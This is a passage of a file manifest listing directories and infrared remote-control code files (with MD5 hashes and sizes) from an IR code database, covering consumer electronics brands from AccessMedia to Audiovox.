+D:infrared/_CSV-IRDB_/AccessMedia/ThinBox +F:83c5a9396aad636ccf4ad0ab3895123c:3461:infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir +D:infrared/_CSV-IRDB_/Accupel/Signal Generator +F:30d5185ac241a3fe0e86dd6dadb1fecc:2373:infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir +D:infrared/_CSV-IRDB_/Acer/Projector +D:infrared/_CSV-IRDB_/Acer/Unknown_AT3201W +D:infrared/_CSV-IRDB_/Acer/Unknown_Aspire +D:infrared/_CSV-IRDB_/Acer/Unknown_RC-802 +F:079281013db12855965566c03965a18d:131:infrared/_CSV-IRDB_/Acer/Projector/8,19.ir +F:23b769dd6f7919b6ea5bf79a06c0b57a:4924:infrared/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir +F:0898a1fa01a2cfb48df9befb06107471:4361:infrared/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir +F:63be95c5a94521141e4ece62831b36df:4601:infrared/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir +D:infrared/_CSV-IRDB_/Acesonic/Karaoke +F:e4bc20f7cec8ecb2b9e32fff6cbd9391:5520:infrared/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir +F:09a250442d7e13465342a6ad02f656a7:3140:infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir +D:infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121 +F:dcdb4044292ff6b56192fc19ad161e0b:4576:infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir +D:infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878 +F:a6aaddea286ab444750b2c09d07685c1:3472:infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir +D:infrared/_CSV-IRDB_/Adcom/AV Preamplifier +D:infrared/_CSV-IRDB_/Adcom/CD Player +D:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier +D:infrared/_CSV-IRDB_/Adcom/Receiver +D:infrared/_CSV-IRDB_/Adcom/Surround Processor +D:infrared/_CSV-IRDB_/Adcom/Tuner +D:infrared/_CSV-IRDB_/Adcom/Unknown +F:9f4ec9b6590bb8d95e9e7bd015d597a8:6537:infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir +F:ddb5bf06422db47fb19ba2cad207e1be:4791:infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir +F:42646b7e244d1cf1ce740d0ad4280072:449:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir +F:e011155d2901269b8462b0fd71c02b9c:16879:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir +F:c6a26e4d2ac92de0edd1226c11fdc7ee:3012:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir +F:109bdc76680b34bccfd2597a62b23819:2898:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir +F:9b30297f6d5d8f7080d82a23bb7e74d2:449:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir +F:b4ee520f0076547b422be7b371dc00da:5987:infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir +F:1f2b2c5d1e8986a11a677c8ef20d40d5:1106:infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir +F:aa9f6514e98a7c841b0442c977f00b1a:2429:infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir +F:61e0403c762b0cdfd707d4c18637aef0:1636:infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir +F:d4b9144fddf8d9a24798ca89162af505:2415:infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir +F:41e1a4fbb422e01426d9bf17f20dbc82:2233:infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir +F:c209f184918efc34a613cf5d5e1f889e:2242:infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir +D:infrared/_CSV-IRDB_/Adelphia/Cable Box +F:9a7b749934c54bbc0b125d36f1acfd28:2658:infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir +F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir +F:4d06a66ec9d2856ec59ad9bc1f977493:3793:infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir +D:infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic +F:3ca51cebac7aab08e838b8d45f1635a2:899:infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir +D:infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier +F:e4f55a7efd9305518dadd2b888b2154b:1507:infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir +D:infrared/_CSV-IRDB_/Airmate/Fan +F:5aeeff33f8eff90693597fa05f17be39:697:infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir +D:infrared/_CSV-IRDB_/Aiwa/CD Player +D:infrared/_CSV-IRDB_/Aiwa/Cassette Tape +D:infrared/_CSV-IRDB_/Aiwa/Mini System +D:infrared/_CSV-IRDB_/Aiwa/Receiver +D:infrared/_CSV-IRDB_/Aiwa/Unknown +D:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA +D:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_S79 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_hu +D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b +D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650 +D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14 +D:infrared/_CSV-IRDB_/Aiwa/VCR +F:c104b3faff65cc2dfef055010c9232fe:1594:infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir +F:d25846590ecff95bd31cc5ecc390ca54:3149:infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir +F:10e7344b0b40fa5374522099dc0a8ab0:2127:infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir +F:4f6b3572da9b13c701cc4c59158b05a5:813:infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir +F:f3efb5c1e6a11f743341c8f4d3c4f255:635:infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir +F:eaa01a19b8aa297a51b05c3142b87dad:1054:infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir +F:016199c8d60e2b91f23404c693f08c59:231:infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir +F:7cbdfca8255147f071d266d73fd5fac7:4199:infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir +F:c689deeab88ce29139a9d1925571f26b:3198:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir +F:9e8d9a6c47909d19c611a04a01de2c3f:2010:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir +F:a4f368627428308c17428301b042bdd3:3531:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir +F:cd65bc3548be57cc08041ab9a6779346:1545:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir +F:61a75e98eb09349984039ce21a048e4a:1188:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir +F:dd29b2ad70f74870882011d31b41c8d3:4004:infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir +F:2b7c7f0c73d75cf19423a2bcafb03783:2393:infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir +F:15918d7fbf12b73ca7282228bf5218c9:2396:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir +F:f045cca155fef993f900a49141c0f258:3156:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir +F:5e61fbedcfb6c14b4e501244530d5d13:3436:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir +F:5a41f9a3470517b2b12bd53610ef1765:3065:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir +F:0711094db801d1c89632fa094e0eaa1e:2394:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir +F:c3b14863b4bbd1eba896c7c9c821ef1a:3532:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir +F:581a34a726fc706176631442d87f9ac8:1622:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir +F:ce75db005d5b71761e226964f5205677:2782:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir +F:2eacaeb3d782ed2a5b3de69749acfe4e:3730:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir +F:91b7e98fec007319f2caacb069e11ac1:3054:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir +F:aa0671639288035387d7469ad6c7deee:3343:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir +F:3633105d4f6ec823bc9d52eb17418e7a:2954:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir +F:0014feaf7a0489d7ae2ecfdba669cc6a:2626:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir +F:915904752164c435508f5159303a9fba:3508:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir +F:8be225e7c1b83ec55c13cd7ed2fb73c4:3423:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir +F:9a665853372b0e2e6e8e81ec11376b79:3614:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir +F:83a4f0189c1295df926847b79053cb13:3893:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir +F:99a7722714e0d0ec8859b810f9fa9408:3905:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir +F:256f081600686da1597a01364987c984:1104:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir +F:3e1c32972521d73ce53bb47a947b9b70:3889:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir +F:a2af17fea780098e4666ba0007e51ab9:2203:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir +F:d3eae206a8b78aa4355b920c0f5578ef:1825:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir +F:148c8a53f9222425ae5b250bd08f67ed:2398:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir +F:0218139ab2e22884ebf5ef76a2274f03:5422:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir +F:0250ac664668aacca107c86056cb41a4:1745:infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir +F:d5f4d5fd3f4bf0e0ccd04424951cf7ca:1911:infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir +F:461c3c3e93ace2de2c5c168c9a877c82:3787:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir +F:b53a3d6d68b6700f0f8c28726cacef63:3859:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir +F:c6d8bc9f8c204b8df2ff95cbc97df470:3460:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir +F:0089b0ee050fc0cb5e844ac479f31df4:3221:infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir +F:48777caefb175817e989e786cfc700b0:6307:infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir +F:d0bbc8046f64ef1e9432b9814e261aac:1000:infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir +D:infrared/_CSV-IRDB_/Akai/CD Player +D:infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100 +D:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A +D:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E +D:infrared/_CSV-IRDB_/Akai/Unknown_RC-C79 +D:infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E +D:infrared/_CSV-IRDB_/Akai/Unknown_akai +D:infrared/_CSV-IRDB_/Akai/Unknown_rc-c37 +F:e1edb3e6f8c5d9495b07c7db359d0e70:1930:infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir +F:393e4e9c56a5e850dd40291bc2b3a1fb:2892:infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir +F:5c288ef5ef96e33209dbfb05bdf8ad88:3167:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir +F:1e485f1fbdc73c78e2769fed5bd93aa2:1559:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir +F:101ea65f87b0da10083ad1e87bd89292:4155:infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir +F:d289862b7aa012ee18e57c72f65f8285:2992:infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir +F:dd531ae76fe107b5add34f3d46c1ffc8:4142:infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir +F:fbde7e111a118b2f24b919fe31e563b1:3270:infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir +F:9fbf33592f773d73f6482f95c12345f1:2109:infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir +D:infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio +F:8567dc6c3f909594f5af907630de8ce2:1874:infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir +D:infrared/_CSV-IRDB_/Aopen/Media PC +D:infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470 +F:724473ced29d73f3c67ec7fd9451a689:4293:infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir +F:7152e47b1996e6d76fd7857c504bf85f:4425:infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir +D:infrared/_CSV-IRDB_/Apex/DVD Player +D:infrared/_CSV-IRDB_/Apex/Unknown_AD-600A +D:infrared/_CSV-IRDB_/Apex/Unknown_DV-R200 +D:infrared/_CSV-IRDB_/Apex/Unknown_DV-R383 +D:infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2 +D:infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5 +D:infrared/_CSV-IRDB_/Apex/Unknown_RM-1200 +D:infrared/_CSV-IRDB_/Apex/Unknown_RM-2600 +F:138c3303d1d79631cf605955c101008d:4219:infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir +F:8f38e547bc9eae01d3040cd7b8c78cfb:4872:infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir +F:f3564ef1f8186fe9f684c9a34a261d9c:4294:infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir +F:6554aef7f7726d7476e2a7965d220982:4287:infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir +F:953426b951dff4e4c1b6d7c2f02d6861:2773:infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir +F:7e3ca89146c2db52c10a246067abeaea:3055:infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir +F:39dcb82bc7760034e650c3d8769f0c81:4487:infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir +F:6edb220cad2bf52f8ad727d765f87eef:4567:infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir +D:infrared/_CSV-IRDB_/Apple/Apple TV +D:infrared/_CSV-IRDB_/Apple/Computer +D:infrared/_CSV-IRDB_/Apple/Digital Jukebox +D:infrared/_CSV-IRDB_/Apple/MP3 Player +D:infrared/_CSV-IRDB_/Apple/Unknown_CD +D:infrared/_CSV-IRDB_/Apple/iPod +F:8bcf48d45a46ea94d569390e52ef7873:2474:infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir +F:332afcdc985b5f8b226525bf5afb04c6:1468:infrared/_CSV-IRDB_/Apple/Computer/238,135.ir +F:552e6c558d2685e321ca8b4d1d6b025f:1225:infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir +F:816fe4d5918ad01a4d14ae3be147187e:2172:infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir +F:a86fbae2c2d389f11838a37536311fb0:977:infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir +F:41446d94d70b9d0e653934de1ac1befc:3615:infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir +F:e161a509de168f8cf5387192e51910cd:605:infrared/_CSV-IRDB_/Apple/iPod/238,135.ir +D:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier +F:a9f8461e0ecbfafb26f62c3ed569710b:2247:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir +F:33b513af8b9bde66daf41d6d868e8c2c:7297:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir +D:infrared/_CSV-IRDB_/Arcam/CD Player +D:infrared/_CSV-IRDB_/Arcam/DVD Player +D:infrared/_CSV-IRDB_/Arcam/Music System +D:infrared/_CSV-IRDB_/Arcam/Pre-Amplifier +D:infrared/_CSV-IRDB_/Arcam/Receiver +D:infrared/_CSV-IRDB_/Arcam/Surround Receiver +D:infrared/_CSV-IRDB_/Arcam/Tuner +D:infrared/_CSV-IRDB_/Arcam/Unknown_AV200 +D:infrared/_CSV-IRDB_/Arcam/Unknown_Arcam +F:506143e79aa970e14be2f64dccba7671:224:infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir +F:4a613e863bc1bcffc0ac8bfc95f3b9bc:126:infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir +F:c273c621936d8dea257cb46b4a8b7c9d:2137:infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir +F:e2bde3689e36191277eb600ab1528690:393:infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir +F:c08bfce029d7d73dd74230ba0fd7ce33:20749:infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir +F:4010d0a4c791dd3e22ee8fa2d3e7de4f:6967:infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir +F:3ce26f9990c8a871e197c9b5427bf6ee:2548:infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir +F:01cdf1d842924b5aa354c04ef3d2b076:2593:infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir +F:3cb3b8c5ff3b7a78ea4ec388ee5a1317:6308:infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir +F:4bc2f58d488d26f1a629f8ff85da3e0e:126:infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir +F:60c6bca4e6a53ad7f2484a3126fca930:19833:infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir +F:eddf52dfc03902a6586992be09248f3c:5677:infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir +F:5cdfb85ca6aa38d8e19540d7e8dcda43:1337:infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir +F:1b6ef1d1837404856770ad2a15566639:2624:infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir +F:a26c1e108a15c1c5abf13ff26eb6058f:703:infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir +F:4bc2f58d488d26f1a629f8ff85da3e0e:126:infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir +F:16936058f88a96ab28ccc3e37bda1c45:2093:infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir +F:0c7124876d36bdd09d6ef568c764e8be:423:infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir +F:76e4150457e3c235647927fd41b95a1d:1869:infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir +F:754fe69dcc163f6bcab7b0489e731239:2594:infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir +F:bed0337d90f8a2789ad4df275cd9ea8b:1841:infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir +D:infrared/_CSV-IRDB_/Architectural Audio/Amplifier +D:infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver +F:65d92ee45b8069ebff64fb98ff1eaad2:420:infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir +F:266863686aaba20a2776556f1cf3f971:2964:infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir +D:infrared/_CSV-IRDB_/Aristona/Unknown_5525 +D:infrared/_CSV-IRDB_/Aristona/Unknown_9067 +F:bec66cbbec8ada0affe76223570cdd79:3454:infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir +F:40fd8e1aae34468c9902d05b513169ed:6462:infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir +D:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox +F:82a3872f23b6a07d5c2c7c871eca49e9:2929:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir +F:e04dc295ed1248c1f44eb5a163b51305:2929:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir +F:dc0546471250a2249883d92c2c2607e0:2929:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir +D:infrared/_CSV-IRDB_/Askey/Unknown_AS-218 +F:ab881034583409140b5b378cb5890bb4:2871:infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir +D:infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital +F:cedb214492c64b3413fd2d9c857989af:5459:infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir +D:infrared/_CSV-IRDB_/Astro/Satellite +D:infrared/_CSV-IRDB_/Astro/Unknown_ASR340 +F:14180e7bc09473b41b516e51411ba165:3843:infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir +F:8b62432d941a8c0b38b30dbb621c15be:2699:infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir +D:infrared/_CSV-IRDB_/Asus/Unknown_Digital +D:infrared/_CSV-IRDB_/Asus/Unknown_RC1974502 +D:infrared/_CSV-IRDB_/Asus/Unknown_TVBox +F:ee1e6075d199bcf849cdd12472deded9:1107:infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir +F:a4219b28c62df1ced9d0051e47807fd3:4404:infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir +F:8646aeb7a01ebee1767a2995077a8bf0:3058:infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir +D:infrared/_CSV-IRDB_/Aten/Unknown_VS-431 +F:67e870d50e1881da13b83c15c6ec922c:595:infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir +D:infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH +F:d3d55f38be3a867827e5cbb0e726341a:3059:infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir +D:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor +F:e4f19863ae1f451d955997f3023863bc:2019:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir +F:b39676baf2447217d408df363b8a63c7:1531:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir +F:801a09b66791af852874e748847ea48a:219:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir +D:infrared/_CSV-IRDB_/Atlas/Unknown_8776 +F:4b4dee4db0ae2356dcddea6efe7745e4:2735:infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir +D:infrared/_CSV-IRDB_/Atlona/Matrix Switcher +D:infrared/_CSV-IRDB_/Atlona/Switcher +F:089e1994ea2b6b927b5d2430ebe5a485:6247:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir +F:e40d976bef77eed15040f73868ad7c5b:1795:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir +F:a72450e57a8cf2eb32cef9b5e6df3308:483:infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir +D:infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier +D:infrared/_CSV-IRDB_/Audio Access/Zone Controller +F:f93d7e339cd17596d276eba01b0f49b5:6435:infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir +F:816215268675de035382462c4018c4de:1615:infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir +F:d489343637037dcd4aa1e5f5cd758603:224:infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir +D:infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher +D:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth +D:infrared/_CSV-IRDB_/Audio Authority/Switcher +F:7786f4ca5abb575547af022c1be29794:483:infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir +F:453eb46b72dadd6251907af079cbdb04:2259:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir +F:f119855a86d6f217cbfb8fc0f0289b13:3480:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir +F:8bad08ecdfc548878e9ed8ccfc12028e:2132:infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir +D:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier +D:infrared/_CSV-IRDB_/Audio Control/Processor +D:infrared/_CSV-IRDB_/Audio Control/Receiver +F:5564de6dc67ee63284d4942038779d95:7859:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir +F:0e602026a6c00c70be442001eec634b6:1488:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir +F:7eada5c149a232d4c55ac6f983de9a43:2332:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir +F:38521e2d55245b6e68cfd2fd39d1b1a1:5722:infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir +F:6635e9a4edc9397ea0516cb08f598f13:6104:infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir +F:07ce81138491797a576a7e7621d3e752:2269:infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir +F:3ecfc438425192d95e0f65103342fba2:2723:infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir +D:infrared/_CSV-IRDB_/Audio Refinement/Amplifier +D:infrared/_CSV-IRDB_/Audio Refinement/CD Player +D:infrared/_CSV-IRDB_/Audio Refinement/Tuner +F:3b80842308e2ac0a156aa19c50e14d54:1831:infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir +F:def2750611dcd3563d69eaeff6d314f7:871:infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir +F:ceb574605ec297f8cacdea2564a86030:603:infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir +D:infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier +F:61f36f12f0714514af7814c19334390c:7826:infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir +D:infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three +F:365205b811b2740969f4b765dea4bbd0:1425:infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir +D:infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T +F:e1e47285d7dc5c84f4ad1d0944770675:3294:infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir +D:infrared/_CSV-IRDB_/Audiovox/Monitor +D:infrared/_CSV-IRDB_/Audiovox/Unknown_SIR 